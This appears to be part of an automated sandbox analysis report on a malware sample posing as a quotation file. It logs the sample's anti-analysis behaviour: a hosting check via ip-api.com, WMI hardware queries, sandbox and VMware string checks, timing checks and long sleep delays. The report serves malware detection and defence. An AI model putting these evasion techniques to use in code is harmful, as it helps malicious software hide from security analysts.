Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: QUOTATION#09678.exe, 00000000.00000002.1895673807.000001F3D03FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: QUOTATION#09678.exe, 00000000.00000002.1895673807.000001F3D03FA000.00000004.00000800.00020000.00000000.sdmp, QUOTATION#09678.exe, 00000000.00000002.1896304643.000001F3E0037000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000004.00000002.4168843900.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Memory allocated: 1F3CE5A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Memory allocated: 1F3E8030000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 1250000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2D50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 1250000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

Code function: 0_2_00007FFD9B88E395 rdtsc

0_2_00007FFD9B88E395

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599421	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599303	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598645	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598277	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597827	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596621	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596266	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595452	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 299859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 299749	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 299640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 299531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 299422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 299312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 299203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 299094	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6762	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2850	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Window / User API: threadDelayed 2636	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Window / User API: threadDelayed 7161	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7312	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7324	Thread sleep count: 2636 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7324	Thread sleep count: 7161 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -599641s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -599531s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -599421s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -599303s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -599141s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -598645s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -598500s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -598391s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -598277s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -598156s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -598047s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -597937s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -597827s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -597719s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -597594s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -596985s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -596860s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -596735s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -596621s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -596500s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -596391s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -596266s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -596156s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -596047s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -595938s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -595813s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -595688s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -595563s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -595452s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -595344s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -595219s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -595109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -595000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -594891s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -594781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -594672s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -594563s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -594438s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -299859s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -299749s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -299640s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -299531s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -299422s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -299312s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -299203s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7320	Thread sleep time: -299094s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599421	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599303	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598645	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598277	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597827	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596621	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596266	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595452	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 299859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 299749	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 299640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 299531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 299422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 299312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 299203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 299094	Jump to behavior

Source: Amcache.hve.8.dr	Binary or memory string: VMware
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.8.dr	Binary or memory string: VMware, Inc.
Source: QUOTATION#09678.exe, 00000000.00000002.1895673807.000001F3D03FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1hbin@
